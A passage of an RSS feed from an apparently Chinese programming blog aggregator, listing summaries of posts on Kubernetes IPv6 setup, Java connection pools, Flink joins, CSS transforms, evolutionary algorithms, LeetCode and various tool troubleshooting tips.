2001:db8:42:0::/56 serviceSubnet: 2001:db8:42:1::/112 etcd: local: extralArgs: listen-metrics-urls: http://[::]:2381 然后执行如下命令&#xA;kubeadm init --config=kubeadm-config.yaml 如上所示成功建立，然后按照提示输入以下命令&#xA;mkdir -p $HOME/.kube sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config sudo chown $(id -u):$(id -g) $HOME/.kube/config 然后在node节点的主机上建立kubeadm-config.yaml文件用于加入集群，与master节点类似，下面的node-ip需要改成自己主机的ipv6地址，apiServerEndpoint中的ip地址改成master节点的ip地址，当然你集群的令牌和 CA 证书也同样需要进行替换&#xA;apiVersion: kubeadm.k8s.io/v1beta3 kind: JoinConfiguration discovery: bootstrapToken: apiServerEndpoint: &#34;</description>
    </item>
    <item>
      <title>【Java】连接池与DBUtils的使用</title>
      <link>https://bchobby.github.io/posts/9354b4816566b851bf0f5eb4ad85d1a3/</link>
      <pubDate>Mon, 18 Apr 2022 18:34:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9354b4816566b851bf0f5eb4ad85d1a3/</guid>
      <description>目录&#xA;1.为什么要使用连接池&#xA;2.自定义连接池-初级版本&#xA;3.自定义连接池-进阶版本&#xA;4.装饰者模式&#xA;5.自定义连接池-终极版本&#xA;6.C3P0连接池&#xA;1.通过硬编码来编写【了解】&#xA;2.通过配置文件来编写&#xA;3.使用c3p0改写工具类&#xA;7.DRUID连接池&#xA;1.通过硬编码方式【了解】&#xA;2.通过配置文件方式&#xA;3.Druid工具类的制作&#xA;8.DBUtils完成增删改&#xA;9.DBUtils完成查询&#xA;查询一条记录(使用ArrayHandler,使用BeanHandler,使用MapHandler)&#xA;查询多条数据封装到List集合中(使用ArrayListHandler,使用BeanListHandler,使用MapListHandler)&#xA;查询单个数据(使用ScalarHandler())&#xA;查询单列多个值(使用ColumnListHandler)&#xA;10.元数据&#xA;参数元数据&#xA;结果集元素数据&#xA;11.自定义DBUtils增删改&#xA;1.为什么要使用连接池 Connection对象在JDBC使用的时候就会去创建一个对象,使用结束以后就会将这个对象给销毁了(close).每次创建和销毁对象都是耗时操作.需要使用连接池对其进行优化.&#xA;程序初始化的时候，初始化多个连接,将多个连接放入到池(集合)中.每次获取的时候,都可以直接从连接池中进行获取.使用结束以后,将连接归还到池中.&#xA;程序一开始就创建一定数量的连接，放在一个容器(集合)中，这个容器称为连接池。&#xA;使用的时候直接从连接池中取一个已经创建好的连接对象, 使用完成之后 归还到池子&#xA;如果池子里面的连接使用完了, 还有程序需要使用连接, 先等待一段时间(eg: 3s), 如果在这段时间之内有连接归还, 就拿去使用; 如果还没有连接归还, 新创建一个, 但是新创建的这一个不会归还了(销毁)&#xA;集合选择LinkedList&#xA;增删比较快&#xA;LinkedList里面的removeFirst()和addLast()方法和连接池的原理吻合&#xA;2.自定义连接池-初级版本 创建连接池类&#xA;在连接池类中,定义一个LinkedList集合(表示连接池)&#xA;在连接池类的静态代码块中,创建固定数量的连接,并存储到LinkedList集合中&#xA;提供一个公共的非静态方法来获取连接对象(getAbc)&#xA;提供一个公共的非静态方法来归还连接对象(addBack)&#xA;提供一个公共的静态方法来获取连接池中连接的数量&#xA;package com.jcli.demo02_自定义连接池初级版; import com.jcli.utils.JDBCUtils; import java.sql.Connection; import java.sql.SQLException; import java.util.LinkedList; /** * - 创建连接池类 */ public class MyDataSource01 { //- 在连接池类中,定义一个LinkedList集合(表示连接池) private static LinkedList&amp;lt;Connection&amp;gt; pools = new LinkedList&amp;lt;&amp;gt;(); //- 在连接池类的静态代码块中,创建固定数量的连接,并存储到LinkedList集合中 static { for (int i = 0; i &amp;lt; 6; i++) { try { //获得连接 Connection connection = JDBCUtils.</description>
    </item>
    <item>
      <title>照明开关雷达感应方案，多普勒雷达模块技术，智能雷达感控应用</title>
      <link>https://bchobby.github.io/posts/4c8acc4ce745a10b4c986e5cc4cb5d25/</link>
      <pubDate>Mon, 18 Apr 2022 17:22:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c8acc4ce745a10b4c986e5cc4cb5d25/</guid>
      <description>雷达感应又称微波感应，是根据多普勒原理，采用现在最先进的平面天线技术，可有效抑制高次谐波和其他杂波的一些干扰﹑灵敏度高﹑可靠性强﹑安全方便智能节能，是现代智能化的首选产品。&#xA;当有人进入雷达感应的探测范围，微波雷达传感器工作点亮灯，当人离开探测范围后，灯自动熄灭。可自动识别白天和黑夜。&#xA;智能雷达感应模块，基于多普勒效应，工作与5.8G ISM频段，感应距离灵活可调，采用成熟CMOS工艺，单芯片集成，超高性价比，具有自校准功能，不受外部干扰影响。&#xA;满足RED、CE、FCC以及ETL等认证标准，广泛应用于照明感控、人体存在感应、运动检测与控制等领域。&#xA;雷达感应在检测到人体的每一次活动后会自动顺延一个周期，并以最后一次人体活动的顺延时间为起始点。根据外界的光线强度，来控制雷达感应开关是否工作，以达到节能效果。&#xA;与红外产品比较，雷达感应距离更远，角度广，无死区，能穿透玻璃，和薄木板，根据功率不同，可以穿透不同厚度的墙壁，不受环境、温度、灰尘等影响。&#xA;智能雷达感应模组，集成雷达收发，中频电路及MCU处理等，外围搭配天线和少量外围电路即构成完整雷达传感器，可嵌入灯具、家电及各种电子产品内，可实现人体以及各种运动目标的感应探测。&#xA;普通走廊灯开关打开后一直亮，如果忘记关灯要浪费不少电，有一种方法可以让长亮LED灯变成感应灯，人来灯灭，人走后灯具自动关灯，节能能源。&#xA;雷达感应最大的优点就是不易受外界干扰，同时它的感应的灵敏度也更加强悍，为此，雷达感应产品也为人们带来了无限的希望。&#xA;存在感应雷达模组，性能强大，可做丰富算法，拓展性强，适合高性能要求的场景。支持标准UART接口，可与其他主控或传感器互联互通，也可作为主控使用，可基于人体呼吸的探测，实现存在感应。&#xA;雷达感应无需开关控制，自动识别移动物体感应。可人来灯亮，人走灯灭，节省人力，减少浪费，节省电力资源，适用于走廊、楼道、卫生间、地下室、车库、仓库、监控等节能自动照明场景。&#xA;雷达感应开关接通后，在延时时间段内，如有人体存在，开关将持续接通，直到人离开并顺延时间。&#xA;人、车等移动物体进入感应范围，可自动开启，移动物体离开后可自动延时关闭，杜绝常规灯具有人开，无人关的人为浪费，延长灯具的使用寿命，集节能、方便、环保于一体。</description>
    </item>
    <item>
      <title>python入门小项目 - 简单四则运算计算器练习（含源码）</title>
      <link>https://bchobby.github.io/posts/0ffd6daeb6b4fbeca41f751dff419a2b/</link>
      <pubDate>Mon, 18 Apr 2022 16:21:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ffd6daeb6b4fbeca41f751dff419a2b/</guid>
      <description>前面说到了数据分析常用函数，今天我们来说说另一个和数据相关的，大家在学习数据结构的时候，简单的四则运算可谓是基础中的基础，不过看了这么多，作为一个初学者，还是得自己亲自上手试试的，那么具体怎么用Python来实现呢？&#xA;项目目标 实现一个简易的计算器，可以实现简单的加减乘除运算&#xA;代码示例 def add(x, y): return x + y def subtract(x, y): return x - y def muliply(x, y): return x * y def divide(x, y): return x / y print(&#34;选择运算：&#34;) print(&#34;1.相加\n2.相减\n3.相乘\n4.相除&#34;) choice = input(&#34;输入你的选择（1/2/3/4):&#34;) num1 = int(input(&#34;输入第一个数字：&#34;)) num2 = int(input(&#34;输入第二个数字：&#34;)) if choice == &#39;1&#39;: print(f&#34;{num1}+{num2}={add(num1,num2)}&#34;) elif choice == &#39;2&#39;: print(f&#34;{num1}-{num2}={subtract(num1,num2)}&#34;) elif choice == &#39;3&#39;: print(f&#34;{num1}*{num2}={muliply(num1, num2)}&#34;) elif choice == &#39;4&#39;: if num2 != 0: print(f&#34;{num1}/{num2}={divide(num1,num2)}&#34;) else: print(&#34;</description>
    </item>
    <item>
      <title>Excel新功能：分析数据的使用教程及案例</title>
      <link>https://bchobby.github.io/posts/fbd209bb95d9fbee849ed3a0bb873bdb/</link>
      <pubDate>Mon, 18 Apr 2022 15:36:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbd209bb95d9fbee849ed3a0bb873bdb/</guid>
      <description>制作数据表可能不难，但分析其中的数据时，使用公式寻找重要结论的过程往往让人抓耳挠腮。现在，《Excel》推出了“分析数据”功能，可以创建一系列推荐图表和数据表，让你不需使用复杂的公式，就能提取重要信息。&#xA;下面就通过一个例子，来看看如何轻松在数据中发现趋势吧。&#xA;入门技能：把重活交给《Excel》&#xA;你的目标：分析自行车维修店在四个地区的销售数据，发现趋势，找到见解。&#xA;传统方法：为数据的不同视图与汇总创建多个图表，并针对每个图表重新整理数据表。&#xA;使用“分析数据”：让《ECl》来替你创建这些图表和数据表，并提供多种见解供你选择。&#xA;例如，下图左侧的数据表显示了自行车维修连锁店一个月内的销售数据，每家分店都会销售整车、轮胎和维修套件等商品。&#xA;要获取自动化见解，只需点按数据表任意位置，然后在“开始”页面工具栏点按“分析数据”。《Excel》会详细分析数据表中的数据，在右侧通过新的面板来展示结果：&#xA;在《Excel》生成的20多个结果中，你会看到地区销售汇总、每种产品的销售额图表、不同地区的比较等等一如果手动制作这些视觉化分析，可能要花掉你好几个小时！&#xA;分析数据面板中的结果不会自动更新，所以如果你改动了数据表中的内容，需要关掉这项工具，再打开它时就可以看到更新的结果了。&#xA;此外，你还可以把任意图表及随之生成的定制数据表拖出面板，在《Excel》）《Word》或者《PowerPoint》里使用它们：点按对象下方的“+插入.”文本，将其插入到工作簿的新工作表里（包括原数据表里的相关数据）。&#xA;进阶用法：让《Excel》）解答你的疑问&#xA;你的目标：找到数据相关问题的答案&#xA;传统方法：创建一个定制公式计算答案，这可能需要你重新调整数据表，或者再创建一个仅容纳相关数据的表格。&#xA;使用“分析数据”：在分析数据面板顶部的文本框里使用自然语言向《EC》提出问题（暂不支持中 文）。例如，对于上图的数据表，你可以问：“Which Item Sold had the highest Revenue？”（哪种已出售商品的销售额最高？）《Excel》）给出的答案也许会让你感到意外一“Back Tire”（后胎）：&#xA;你也可以输入涉及多个数据字段的问题，比如“山地自行车和城市自行车的总售額是多少？”或者“西部地区的前胎与后胎总量是多少？”。只要在问题里写对数据字段的名称，就能得到答案。&#xA;专业建议：选择每个字段的分析方式&#xA;分析数据面板还能从分析中排除某些字段，以及确认《Excl》正确对待了每个字段。你可以点按“发现见解”旁边的设置（齿轮）按键，调出“你对哪些字段最感兴趣？”对话框：&#xA;在这个自行车维修连锁店的例子里，你可以看到分析数据正确地识别出了非数值字段，但你可能需要让它把“Pice”(价格)当成平均数而非总数来分析。点按“求和”，再选择“平均值”，现在你可以输入“各个地区的价格分别是多少？”这样的问题，然后就能看到按地区分类的平均价格图表了。&#xA;进一步了解分析数据功能：Analyze Data in Excel&#xA;Microsoft Excel LTSC 2021 for Mac 激活</description>
    </item>
    <item>
      <title>The type org.apache.http.Header cannot be resolved. It is indirectly referenced from required .class</title>
      <link>https://bchobby.github.io/posts/fbfca517716eabc7ab0122219a80f987/</link>
      <pubDate>Mon, 18 Apr 2022 11:32:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbfca517716eabc7ab0122219a80f987/</guid>
      <description>随时随地阅读更多技术实战干货，获取项目源码、学习资料，请关注源代码社区公众号(ydmsq666)&#xA;from：https://stackoverflow.com/questions/32434488/the-type-org-apache-http-header-cannot-be-resolved-it-is-indirectly-referenced&#xA;If you are compiling against Android 6.0 (SDK 23), you need to include org.apache.http.legacy library.&#xA;In Android Studio add&#xA;android { useLibrary &#39;org.apache.http.legacy&#39; } to build.gradle.&#xA;In Eclipse copy org.apache.http.legacy.jar from AndroidSDK/platforms/android-23/optional to libs folder.</description>
    </item>
    <item>
      <title>大数据培训Flink 常见的维表 Join 方案</title>
      <link>https://bchobby.github.io/posts/152b068024a188cbffabb7ac086a7ad4/</link>
      <pubDate>Mon, 18 Apr 2022 11:23:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/152b068024a188cbffabb7ac086a7ad4/</guid>
      <description>以下文章来源于大数据左右手 ，作者左右&#xA;前言&#xA;实时数仓，难免会遇到join维表的业务。现总结几种方案，供各位看官选择：&#xA;查找关联（同步，异步）状态编程,预加载数据到状态中，按需取冷热数据广播维表Temporal Table JoinLookup Table Join 查找关联&#xA;查找关联就是在主流数据中直接访问外部数据（mysql，redis，impala ...）去根据主键或者某种关键条件去关联取值。&#xA;适合: 维表数据量大，但是主数据不大的业务实时计算。&#xA;缺点：数据量大的时候，会给外部数据源库带来很大的压力，因为某条数据都需要关联。&#xA;同步&#xA;访问数据库是同步调用，导致 subtak 线程会被阻塞，影响吞吐量&#xA;import com.alibaba.fastjson.{JSON, JSONArray, JSONObject}&#xA;import com.wang.stream.env.{FlinkStreamEnv, KafkaSourceEnv}&#xA;import org.apache.flink.api.common.functions.FlatMapFunction&#xA;import org.apache.flink.api.common.serialization.SimpleStringSchema&#xA;import org.apache.flink.streaming.api.scala._&#xA;import org.apache.flink.streaming.connectors.kafka.FlinkKafkaProducer&#xA;import org.apache.flink.util.Collector&#xA;def analyses(): Unit ={&#xA;val env: StreamExecutionEnvironment = FlinkStreamEnv.get()&#xA;KafkaSourceEnv.getKafkaSourceStream(env,List(&#34;test&#34;))&#xA;.map(JSON.parseObject(_))&#xA;.filter(_!=null)&#xA;.flatMap(&#xA;new FlatMapFunction[JSONObject,String] {&#xA;override def flatMap(jSONObject: JSONObject, collector: Collector[String]): Unit = {&#xA;// 如果topic就一张表，不用区分，如果多张表，可以通过database 与 table 区分，放到下一步去处理&#xA;// 表的名字&#xA;val databaseName:String = jSONObject.</description>
    </item>
    <item>
      <title>transform——CSS</title>
      <link>https://bchobby.github.io/posts/601567afe5f2b24278fcc17339a98f45/</link>
      <pubDate>Mon, 18 Apr 2022 10:55:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/601567afe5f2b24278fcc17339a98f45/</guid>
      <description>文章目录 变形定义平移百分比是相对于自身计算——应用平移特点z轴平移 旋转平移和旋转可以一起写注意backface-visibility 练习钟表原理：针不转，转的是针外面的容器 立方体的旋转 缩放例子：鼠标移入，图片放大 变换原点： transform-origin 变形定义 变形就是指通过css来改变元素的形状或位置&#xA;变形不会影响到页面的布局&#xA;transform用来设置元素的变形效果 页面的默认坐标：&#xA;（注意旋转后坐标的指向就会发生变化，跟着旋转的方向变）&#xA;平移 translatex():沿着x轴方向平移translateY(): 沿着y轴方向平移translateZ():沿着z轴方向平移&#xA;平移元素&#xA;可以以px为单位&#xA;也可以以百分号为单位：百分比是相对于自身计算的&#xA;eg：&#xA;百分比是相对于自身计算——应用 使元素居中，&#xA;我们通常使用&#xA;margin: 0 auto; 但是使用该方法的前提是width是确定的，如果width不是确定的那应该如何居中，可以使用百分比是相对于自身计算的这个属性。&#xA;.box2{ position: absolute; background-color: darkseagreen; left: 50%; transform:translateX(-50%); } eg：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;style&amp;gt; .box1{ width: 200px; height: 200px; background-color: darksalmon; margin: 0px auto; margin-top: 200px; /* 使用函数做参数 */ transform:translateX(-50%); } .box2{ position: absolute; background-color: darkseagreen; left: 50%; top: 50%; transform:translateX(-50%) translateY(-50%); } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>进化算法——多目标优化</title>
      <link>https://bchobby.github.io/posts/f17d752f6cbb83c8760b74fd6793a44c/</link>
      <pubDate>Mon, 18 Apr 2022 10:41:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f17d752f6cbb83c8760b74fd6793a44c/</guid>
      <description>所有的实际优化问题都是多目标的，如果不是显式的至少也是隐式的。接下来讨论多目标优化问题（MOP）如何修改进化算法。实际的优化问题包含多个目标，那些目标常常互相冲突。例如：&#xA;在购买汽车时，我们可能想要车最舒适并且花钱最少。最舒适的汽车太贵，最便宜的汽车又不太舒服。在设计一座桥时，我们可能想让它的费用最低强度最大。用泡沫塑料建造的桥可能费用最低，但他非常脆弱。用钛合金建造的桥可能强度最大但它非常昂贵，在费用和强度之间如何才是最好的折中？ MOP又被称为多准则优化、多性能优化，以及向量优化。假定独立变量x为n维向量，并假定MOP是最小化问题。MOP可以写成如下的形式：&#xA;MOP的目标是同时最小化k个函数。&#xA;MOP常常包含约束，我们不处理带约束的MOP。我们可以将约束融入多目标进化算（MOEAs），其方式与将约束融入单目标进化算法相同。&#xA;目录&#xA;帕累托最优性&#xA;​支配&#xA;多目标优化的目标&#xA;1.超体积&#xA;2.相对覆盖度&#xA;基于非帕累托的进化算法&#xA;1.集结方法&#xA;凹帕累托前沿的目标达成&#xA;2.向量评价遗传算法&#xA;3.字典排序&#xA;4.​-约束方法&#xA;5.基于性别的方法&#xA;基于帕累托进化算法&#xA;1.多目标进化优化器&#xA;a.简单多目标进化优化器（simple evolutionary multi-objective optimizer，SEMO）&#xA;b.多样性多目标进化优化器（divercity evolutionary multi-objective optimizer，DEMO） 2.基于​的多目标进化算法&#xA;3.非支配排序遗传算法NSGA&#xA;NSGAⅡ&#xA;4.多目标遗传算法 5.小生境帕累托遗传算法NPGA&#xA;6.优势帕累托进化算法SPEA&#xA;SPEA2&#xA;7.帕累托归档进化策略PAES&#xA;基于生物地理学的多目标优化&#xA;1.向量评价BBO&#xA;2.非支配排序BBO&#xA;3.小生境帕累托BBO&#xA;4.优势帕累托BBO&#xA;帕累托最优性 我们首先列出在多目标优化中经常用到的一些定义。&#xA;1.支配。称点支配x如果下面的两个条件成立：（1）对所有i∈[1,k]，并且（2）对至少一个j∈[1,k]，＜，即对所有目标函数值，至少与x一样好，并且至少有一个目标函数值比x好，用记号&#xA;表示支配x，符号表示的函数值小于或等于x的函数值。&#xA;2.弱支配。 称点弱支配x如果对所有i∈[1,k]，，即对所有目标函数值，至少与x一样好，如果支配x，它也弱支配x。 如果对所有i∈[1,k]，=， 则与x互相弱支配。用记号&#xA;表示 弱支配x。&#xA;3.非支配。 称点是非支配的，如果不存在能支配它的x。非劣、允许的，以及有效的，都是非支配的同义词。&#xA;4.帕累托最优点。 帕累托最优点，也被称为帕累托点，是不受搜索空间中任意一点x支配的点。即，&#xA;5.帕累托最优集。也被称为帕累托集并记为，是所有非支配的的集合。&#xA;6.帕累托前沿。也被称为非支配集合，并记为，是相应于帕累托集的所有函数向量f(x)的集合。&#xA;注意，是非支配的并不意味着支配所有与不等的x。对所有i∈[1,k]，可能会有 = ，在这种情况下x和互相都是非支配的，其中一个不会支配另一个。还可能出现的情况是，以有两个目标的问题为例，其中并且。在这种情况下x和都是非支配的，其中一个不会支配另一个。&#xA;支配 帕累托集这个概念的局限在于它的非此即彼，非黑即白的性质。例如，考虑下面三个费用函数值的集合：&#xA;x支配y和z，但是帕累托支配的概念并不考虑支配水平之间的差别，也不会识别在目标函数空间中相互靠的很近的两个候选解。在（11）式中，x支配y，但是因为x和y很相似，相互之间几乎都是非支配的。实际上，差不多也可以说y支配z。由此引出了支配的概念。&#xA;加性支配： 称点加性支配x，如果对某个＞0和所有i∈[1,k]， ＜ +。也就是说， “接近”支配x，这里的“接近”有加性参数来量化。乘性支配： 称点乘性支配x，如果对某个＞0和所有i∈[1,k], ＜ +(1+)。也就是说， “接近”支配x，这里的“接近”有乘性参数来量化。 我们用记号</description>
    </item>
    <item>
      <title>String字符串删除空格的七种方式</title>
      <link>https://bchobby.github.io/posts/9dd9f35031f05628d5e63bd6f821b933/</link>
      <pubDate>Mon, 18 Apr 2022 10:18:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9dd9f35031f05628d5e63bd6f821b933/</guid>
      <description>在Java中从字符串中删除空格有很多不同的方法，如trim，replaceAll等。但是，在JDK 11添加了一些新的功能，如strip、stripLeading、stripTrailing等。&#xA;想要从String中移除空格部分，有多少种方法，下面介绍JDK原生自带的方法，不包含第三方工具类库中的类似方法&#xA;trim() : 删除字符串开头和结尾的空格。&#xA;strip() : 删除字符串开头和结尾的空格。&#xA;stripLeading() : 只删除字符串开头的空格&#xA;stripTrailing() : 只删除字符串的结尾的空格&#xA;replace() : 用新字符替换所有目标字符&#xA;replaceAll() : 将所有匹配的字符替换为新字符。此方法将正则表达式作为输入，以标识需要替换的目标子字符串&#xA;replaceFirst() : 仅将目标子字符串的第一次出现的字符替换为新的字符串&#xA;需要注意的最重要的一点是，在Java中String对象是不可变的，这意味着我们不能修改字符串，因此以上所有的方法我们得到的都是一个新的字符串。&#xA;在线运行工具&#xA;trim() trim()是Java开发人员最常用的删除字符串开头和结尾的空格方法&#xA;public class StringTest { public static void main(String[] args) { String stringWithSpace = &#34; Hello word java &#34;; StringTest.trimTest(stringWithSpace); } private static void trimTest(String stringWithSpace){ System.out.println(&#34;Before trim : \&#39;&#34; + stringWithSpace + &#34;\&#39;&#34;); String stringAfterTrim = stringWithSpace.trim(); System.out.println(&#34;After trim : \&#39;&#34; + stringAfterTrim + &#34;</description>
    </item>
    <item>
      <title>479-最大回文数乘积</title>
      <link>https://bchobby.github.io/posts/314d4085c85e055acf426b32897f9383/</link>
      <pubDate>Mon, 18 Apr 2022 09:13:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/314d4085c85e055acf426b32897f9383/</guid>
      <description>479-最大回文数乘积 题目描述： 给定一个整数 n ，返回 *可表示为两个 n 位整数乘积的最大回文整数 。因为答案可能非常大，所以返回它对 1337取余 。&#xA;示例1：&#xA;输入：n = 2 输出：987 解释：99 x 91 = 9009, 9009 % 1337 = 987 示例2：&#xA;输入： n = 1 输出： 9 提示：&#xA;1 &amp;lt;= n &amp;lt;= 8 思路：&#xA;首先要知道什么是回文数，回文数即，正序和反序一样的数字。例如： 1001、9999、999 等都是回文数10、1000、10100 等不是回文数 首先我们应该知道，如果输入的数字为n，那么两个 n 位数乘积位数最大为 2n，且回文数左右两部分应该是对称，即从 10 ^ n - 1 开始枚举左半部分就可以了。详细步骤参照代码讲解。 class Solution { public int largestPalindrome(int n) { if (n == 1) { return 9; } // 定义一个常量upper用以定义两个n位数相乘最大的数 int upper = (int) Math.</description>
    </item>
    <item>
      <title>MobaXterm_Portable的简单使用</title>
      <link>https://bchobby.github.io/posts/fa72d1391115d6ad9b0d41d099b32ed9/</link>
      <pubDate>Sun, 17 Apr 2022 21:21:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa72d1391115d6ad9b0d41d099b32ed9/</guid>
      <description> 一：下载安装&#xA;1.下载MobaXterm_Portable&#xA;百度网盘&#xA;链接：https://pan.baidu.com/s/1uQTVMzg8E5QULQTAoppdcQ 提取码：58c5 2.不需要安装，直接解压&#xA;3.解压后可以看到&#xA;进入这个文件夹可以看到&#xA;直接点击它就可以运行MobaXterm_Portable了 。&#xA;二：简单使用&#xA;1.添加虚拟机&#xA;我的IP地址是：192.168.17.128 用户名是：root（用户名默认是root）&#xA;IP地址可以用 ip addr 查看&#xA;显示连接成功&#xA;2.上传文件到&#xA;直接把文件拖到MobaXterm_Portable的框框里就行。 </description>
    </item>
    <item>
      <title>ubuntu使用npm出现 Missing required argument #1问题</title>
      <link>https://bchobby.github.io/posts/18888989f3dc46346b95ff1a3129d675/</link>
      <pubDate>Sun, 17 Apr 2022 19:30:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18888989f3dc46346b95ff1a3129d675/</guid>
      <description>最近在Ubuntu上使用npm install 命令安装的时候，有时候能成功有时候就是报错：&#xA;error Linux 4.15.0-169-generic error argv &#34;/usr/bin/node&#34; &#34;/usr/bin/npm&#34; &#34;install&#34; &#34;socket.io&#34; error node v8.10.0 error npm v3.5.2 error code EMISSINGARG error typeerror Error: Missing required argument #1 error typeerror at andLogAndFinish (/usr/share/npm/lib/fetch-package-metadata.js:31:3) error typeerror at fetchPackageMetadata (/usr/share/npm/lib/fetch-package-metadata.js:51:22) error typeerror at resolveWithNewModule (/usr/share/npm/lib/install/deps.js:456:12) error typeerror at /usr/share/npm/lib/install/deps.js:190:5 error typeerror at /usr/share/npm/node_modules/slide/lib/async-map.js:52:35 error typeerror at Array.forEach (&amp;lt;anonymous&amp;gt;) error typeerror at /usr/share/npm/node_modules/slide/lib/async-map.js:52:11 error typeerror at Array.forEach (&amp;lt;anonymous&amp;gt;) error typeerror at asyncMap (/usr/share/npm/node_modules/slide/lib/async-map.</description>
    </item>
    <item>
      <title>The current user does not have write permissions to the target envi ronment.</title>
      <link>https://bchobby.github.io/posts/46aafd40ea554abc75ef3ac86be5eae7/</link>
      <pubDate>Sun, 17 Apr 2022 19:12:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46aafd40ea554abc75ef3ac86be5eae7/</guid>
      <description>在使用用conda install 命令时出现读入权限问题，导致所需库导入失败&#xA;1.更改anaconda3文件夹的访问权限，案例将一般用户设置为了完全控制&#xA;2.再次执行，导入成功</description>
    </item>
    <item>
      <title>《百度网盘》没反应，不运行，不启动的解决办法</title>
      <link>https://bchobby.github.io/posts/1fa7975071e7e1c190781f5fd35b16cd/</link>
      <pubDate>Sun, 17 Apr 2022 16:37:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fa7975071e7e1c190781f5fd35b16cd/</guid>
      <description>想看到网盘的《登录界面》,电脑不能连网，所以要先断网，等《登录界面》出现了，电脑再连网，网盘才能登录上</description>
    </item>
    <item>
      <title>MATLAB及Simulink----基本知识简介</title>
      <link>https://bchobby.github.io/posts/cfabe792a84c79d524c78bc9219a1e3f/</link>
      <pubDate>Sun, 17 Apr 2022 13:08:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfabe792a84c79d524c78bc9219a1e3f/</guid>
      <description>目前，MATLAB已成为国际上最为流行的科学计算与工程计算软件工具之一，如今的MATLAB已经不仅仅是矩阵运算或数值计算的软件，它已经发展成为一种具有广泛应用前景、全新的计算机高级编程语言，可以说它是“第四代”计算机语言。&#xA;自20世纪90年代，美国和欧洲的各个大学将MATLAB正式列入研究生和本科生的教材计划，MATLAB软件已经成为数值计算、数理统计、数字信号处理、自动控制、时间序列分析、动态系统仿真等课程的基本教学工具，成为学生必须掌握的基本软件之一。在研究单位和工业界，MATLAB也成为工程师们必须掌握的一种工具，被认为是进行高效研究与开发的首选软件工具。&#xA;1.1.2 MATLAB的主要特点 1．编程效率高 MATLAB允许使用数学形式的语言编写程序，而且比Basic、Fortran和C等语言更加接近人们书写计算公式的思维方式，用MATLAB编写程序犹如在演算纸上排列出公式与求解问题。因此，MATLAB语言也可通俗地称为演算纸式科学算法语言。&#xA;2．使用方便  MATLAB语言把编辑、编译、连接和执行融为一体，其调试程序手段丰富，调试速度快 ，需要学习时间少。 3．扩充能力强 用户可以根据自己的需要方便地建立和扩充新的库函数，以便提高MATLAB使用效率和扩充它的功能。&#xA;4．语句简单，内涵丰富 MATLAB的库函数功能丰富，大大减少了需要的磁盘空间，MATLAB编写的M文件简单而高效。 5．高效方便的矩阵和数组运算 MATLAB语言规定了矩阵的一系列运算符，它不需定义数组的维数，并给出矩阵函数、特殊矩阵专门的库函数，使之在求解诸如信号处理、建模、系统识别、控制、优化等领域的问题时，体现出简捷、高效、方便的优势。&#xA;6．方便的绘图功能 MATLAB有一系列的绘图函数，例如线性坐标、对数坐标、半对数坐标及极坐标等，均只需调用不同的绘图函数，在图上标出图题、坐标轴标注、网格线的绘制等也只需调用相应的命令，简单易行。 7．极好的开放性 除内部函数以外，所有MATLAB的核心文件和工具箱文件都是可读可改的源文件，用户可通过对源文件的修改以及加入自己的函数文件来构成新的工具箱。 MATLAB系统由五大部分构成： １．MATLAB开发环境 MATLAB开发环境包括MATLAB桌面、命令行窗口、M文件编辑调试器，MATLAB工作区和在线帮助文档等。 ２．MATLAB数学函数库 MATLAB数学函数库包括了大量的计算算法，从基本运算到复杂算法，体现了其强大的数学计算功能。 ３．MATLAB语言 MATLAB语言是一个高级的基于矩阵和数组的语言。用户既可以用它来快速编写简单的程序，也可以用它来编写大型复杂的程序。 ４．MATLAB图形处理系统 图形处理系统使得MATLAB能方便地图形化显示矩阵和向量，而且能对图形添加标注和打印。它包括强力的二维及三维图形函数、图像处理和动画显示等函数。 ５．MATLAB程序接口 MATLAB程序接口可以使MATLAB方便地调用C和Fortran程序，以及在MATLAB与其它应用程序之间建立客户/服务器关系。 1.4.1 菜单和工具栏 包含了下述功能：&#xA;(1)新建脚本：用于建立新的.m脚本文件，也可以通过快捷键Ctrl+N来完成。&#xA;(2)新建：用于建立新的.m文件、函数、示例、模型、图形和图形用户界面。&#xA;(3)打开：用于打开MATLAB的.m文件、.fig文件、.mdl文件、.mat文件、.ssc文件等，也可以通过快捷键Ctrl+O来实现这个操作。&#xA;(4)查找文件：基于文件名称或内容搜索文件。&#xA;(5)比较：比较两个文件的内容。&#xA;(6)导入数据：用于从其它文件导入数据，单击后弹出对话框，选择导入文件的路径和位置。&#xA;(7)保存工作区：用于把工作区的数据存放到相应的路径文件中。&#xA;(8)分析代码：分析当前文件夹中的MATLAB代码文件，查找效率低下编码和潜在的错误。&#xA;(9)Simulink库：打开Simulink模块库。&#xA;(10)预设：用于设置命令行窗口的属性。&#xA;(11)布局：提供工作界面上各个组件的显示选项，并提供预设的布局。&#xA;(12)帮助：打开帮助文件或其它帮助方式。&#xA;1.4.2 命令行窗口 MATLAB的命令行窗口是MATLAB最主要的窗口，它实现了MATLAB的交互性。命令行窗口是用户使用MATLAB进行工作的窗口，同时也是实现MATLAB各种功能的窗口。用户可以直接在MATLAB命令行窗口内输入命令和得到除图形以外的执行结果的显示。该窗口中的“&amp;gt;&amp;gt;”是命令提示符，表示MATLAB处于准备状态，等待用户输入指令进行计算。在此符后输入命令，按Enter键，执行命令。 